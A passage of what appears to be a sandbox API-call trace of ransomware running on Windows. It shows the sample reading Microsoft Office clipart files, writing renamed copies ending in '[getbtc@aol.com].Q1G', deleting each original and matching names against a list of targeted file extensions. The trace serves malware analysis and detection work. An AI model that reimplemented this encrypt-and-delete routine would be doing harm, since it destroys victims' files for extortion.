office\\clipart\\pub60cor\\hh00669_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0251.901] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.901] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0251.902] GetLastError () returned 0x0 [0251.902] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x2ce2, lpOverlapped=0x0) returned 1 [0251.914] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2cf0, lpOverlapped=0x0) returned 1 [0251.915] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.915] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.915] SetEndOfFile (hFile=0x398) returned 1 [0251.915] CloseHandle (hObject=0x398) returned 1 [0251.915] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.916] SetEndOfFile (hFile=0x3a8) returned 1 [0251.918] CloseHandle (hObject=0x3a8) returned 1 [0251.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf")) returned 1 [0251.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0251.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0251.918] lstrlenW (lpString=".doc") returned 4 [0251.918] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.918] lstrlenW (lpString=".docx") returned 5 [0251.918] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.918] lstrlenW (lpString=".pdf") returned 4 [0251.918] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.918] lstrlenW (lpString=".xls") returned 4 [0251.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.919] lstrlenW (lpString=".xlsx") returned 5 [0251.919] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.919] lstrlenW (lpString=".ppt") returned 4 [0251.919] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0251.919] lstrlenW (lpString=".zip") returned 4 [0251.919] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.919] lstrlenW (lpString=".rar") returned 4 [0251.919] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.919] lstrlenW (lpString=".bz2") returned 4 [0251.919] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.919] lstrlenW (lpString=".7z") returned 3 [0251.919] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0251.919] lstrlenW (lpString=".dbf") returned 4 [0251.919] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0251.919] lstrlenW (lpString=".1cd") returned 4 [0251.919] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0251.919] lstrlenW (lpString=".jpg") returned 4 [0251.919] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0251.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0251.919] lstrlenW (lpString=".doc") returned 4 [0251.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.919] lstrlenW (lpString=".docx") returned 5 [0251.919] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.919] lstrlenW (lpString=".pdf") returned 4 [0251.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.919] lstrlenW (lpString=".xls") returned 4 [0251.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.919] lstrlenW (lpString=".xlsx") returned 5 [0251.919] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.920] lstrlenW (lpString=".ppt") returned 4 [0251.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0251.920] lstrlenW (lpString=".zip") returned 4 [0251.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.920] lstrlenW (lpString=".rar") returned 4 [0251.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.920] lstrlenW (lpString=".bz2") returned 4 [0251.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.920] lstrlenW (lpString=".7z") returned 3 [0251.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0251.920] lstrlenW (lpString=".dbf") returned 4 [0251.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0251.920] lstrlenW (lpString=".1cd") returned 4 [0251.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0251.920] lstrlenW (lpString=".jpg") returned 4 [0251.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.920] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.920] lstrlenW (lpString="HH00681_.WMF") returned 12 [0251.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0251.921] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=9300) returned 1 [0251.921] CloseHandle (hObject=0x3a8) returned 1 [0251.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x20 [0251.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0251.922] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.922] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0251.922] GetLastError () returned 0x0 [0251.922] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x2454, lpOverlapped=0x0) returned 1 [0251.924] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2460, lpOverlapped=0x0) returned 1 [0251.925] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.925] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.925] SetEndOfFile (hFile=0x398) returned 1 [0251.925] CloseHandle (hObject=0x398) returned 1 [0251.925] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.925] SetEndOfFile (hFile=0x3a8) returned 1 [0251.927] CloseHandle (hObject=0x3a8) returned 1 [0251.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf")) returned 1 [0251.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0251.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0251.928] lstrlenW (lpString=".doc") returned 4 [0251.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.928] lstrlenW (lpString=".docx") returned 5 [0251.928] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.928] lstrlenW (lpString=".pdf") returned 4 [0251.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.928] lstrlenW (lpString=".xls") returned 4 [0251.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.928] lstrlenW (lpString=".xlsx") returned 5 [0251.928] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.928] lstrlenW (lpString=".ppt") returned 4 [0251.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0251.928] lstrlenW (lpString=".zip") returned 4 [0251.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.928] lstrlenW (lpString=".rar") returned 4 [0251.929] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.929] lstrlenW (lpString=".bz2") returned 4 [0251.929] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.929] lstrlenW (lpString=".7z") returned 3 [0251.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0251.929] lstrlenW (lpString=".dbf") returned 4 [0251.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0251.929] lstrlenW (lpString=".1cd") returned 4 [0251.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0251.929] lstrlenW (lpString=".jpg") returned 4 [0251.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0251.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0251.929] lstrlenW (lpString=".doc") returned 4 [0251.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.929] lstrlenW (lpString=".docx") returned 5 [0251.929] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.929] lstrlenW (lpString=".pdf") returned 4 [0251.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.929] lstrlenW (lpString=".xls") returned 4 [0251.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.929] lstrlenW (lpString=".xlsx") returned 5 [0251.929] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.929] lstrlenW (lpString=".ppt") returned 4 [0251.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0251.930] lstrlenW (lpString=".zip") returned 4 [0251.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.930] lstrlenW (lpString=".rar") returned 4 [0251.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.930] lstrlenW (lpString=".bz2") returned 4 [0251.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.930] lstrlenW (lpString=".7z") returned 3 [0251.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0251.930] lstrlenW (lpString=".dbf") returned 4 [0251.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0251.930] lstrlenW (lpString=".1cd") returned 4 [0251.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0251.930] lstrlenW (lpString=".jpg") returned 4 [0251.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.930] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.930] lstrlenW (lpString="HH00685_.WMF") returned 12 [0251.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0251.931] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=4032) returned 1 [0251.931] CloseHandle (hObject=0x3a8) returned 1 [0251.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x20 [0251.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0251.931] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.931] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0251.932] GetLastError () returned 0x0 [0251.932] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xfc0, lpOverlapped=0x0) returned 1 [0251.933] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xfd0, lpOverlapped=0x0) returned 1 [0251.934] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.934] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.934] SetEndOfFile (hFile=0x398) returned 1 [0251.934] CloseHandle (hObject=0x398) returned 1 [0251.934] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.934] SetEndOfFile (hFile=0x3a8) returned 1 [0251.936] CloseHandle (hObject=0x3a8) returned 1 [0251.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf")) returned 1 [0251.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0251.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0251.937] lstrlenW (lpString=".doc") returned 4 [0251.937] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.937] lstrlenW (lpString=".docx") returned 5 [0251.937] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.937] lstrlenW (lpString=".pdf") returned 4 [0251.937] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.937] lstrlenW (lpString=".xls") returned 4 [0251.937] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.937] lstrlenW (lpString=".xlsx") returned 5 [0251.937] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.937] lstrlenW (lpString=".ppt") returned 4 [0251.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0251.937] lstrlenW (lpString=".zip") returned 4 [0251.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.937] lstrlenW (lpString=".rar") returned 4 [0251.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.937] lstrlenW (lpString=".bz2") returned 4 [0251.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.937] lstrlenW (lpString=".7z") returned 3 [0251.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0251.938] lstrlenW (lpString=".dbf") returned 4 [0251.938] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0251.938] lstrlenW (lpString=".1cd") returned 4 [0251.938] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0251.938] lstrlenW (lpString=".jpg") returned 4 [0251.938] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0251.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0251.938] lstrlenW (lpString=".doc") returned 4 [0251.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.938] lstrlenW (lpString=".docx") returned 5 [0251.938] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.938] lstrlenW (lpString=".pdf") returned 4 [0251.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.938] lstrlenW (lpString=".xls") returned 4 [0251.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.938] lstrlenW (lpString=".xlsx") returned 5 [0251.938] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.938] lstrlenW (lpString=".ppt") returned 4 [0251.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0251.938] lstrlenW (lpString=".zip") returned 4 [0251.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.938] lstrlenW (lpString=".rar") returned 4 [0251.938] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.938] lstrlenW (lpString=".bz2") returned 4 [0251.938] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.938] lstrlenW (lpString=".7z") returned 3 [0251.938] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0251.938] lstrlenW (lpString=".dbf") returned 4 [0251.938] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0251.939] lstrlenW (lpString=".1cd") returned 4 [0251.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0251.939] lstrlenW (lpString=".jpg") returned 4 [0251.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.939] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.939] lstrlenW (lpString="HH00687_.WMF") returned 12 [0251.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0251.939] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=4340) returned 1 [0251.939] CloseHandle (hObject=0x3a8) returned 1 [0251.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x20 [0251.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0251.940] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.940] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: 